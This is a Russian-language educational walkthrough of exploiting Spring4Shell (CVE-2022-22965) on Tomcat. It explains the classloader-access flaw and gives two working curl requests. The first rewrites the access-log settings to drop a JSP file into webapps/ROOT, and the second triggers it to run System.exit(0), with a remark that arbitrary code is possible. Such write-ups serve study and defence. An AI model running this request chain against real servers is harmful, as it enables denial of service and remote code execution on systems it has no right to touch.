
Минимальная демонстрация эксплуатации Spring4Shell (CVE-2022-22965), нацеленная на Tomcat через манипуляцию загрузчиком классов, с пошаговой цепочкой атаки на основе curl для образовательного пентеста.
На момент написания привязка параметров запроса spring-web (WebDataBinder) по умолчанию разрешает доступ к методу getClass() объекта.
Это внутренняя деталь реализации, специфичная для JVM (по моему скромному мнению, не должна быть доступна).
Как таковая, её функциональность может меняться и расширяться в будущих версиях JVM.
Это создаёт постоянное бремя для сопровождающих, пытающихся предугадать творческие способы, которыми злоумышленники
могут использовать этот мощный доступ в злонамеренных целях.
В данном конкретном CVE причиной стал метод Class::getModule(), появившийся в Java 9. Он открыл незащищённый
доступ к загрузчику классов.
В примере ниже атакующий использует его, чтобы перенастроить журнал доступа Tomcat. Обычно он записывает краткую информацию о
каждом запросе, полученном сервером, в файл журнала. Свойство pattern определяет, какая информация записывается,
directory — куда следует помещать файл журнала, prefix, fileDateFormat и suffix — каким должно быть имя файла.
Следующий запрос будет направлен на POST-эндпоинт нашего уязвимого приложения poc-0. Он перенастраивает журнал так, чтобы для каждого обработанного запроса записывать
строку <%{e}iSystem.exit(0);%{e}i> в файл f.jsp в каталоге webapps/ROOT,
где %{e}i — это заполнитель для значения заголовка e запроса.
Это неожиданное/творческое использование журнала, а всё остальное — стандартная работа JSP и сервера приложений Tomcat.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
Через некоторое время будет создан файл f.jsp, он будет подхвачен Tomcat, скомпилирован и станет доступен для обслуживания трафика.
Следующий запрос вызывает его, что приведёт к выполнению встроенного кода System.exit(0); и остановке JVM, на которой он работает.
curl -v http://container-ip:8080/f.jsp
Это пример DoS-атаки, но System.exit(0); — это обычный Java-код, поэтому атакующий может сделать гораздо больше.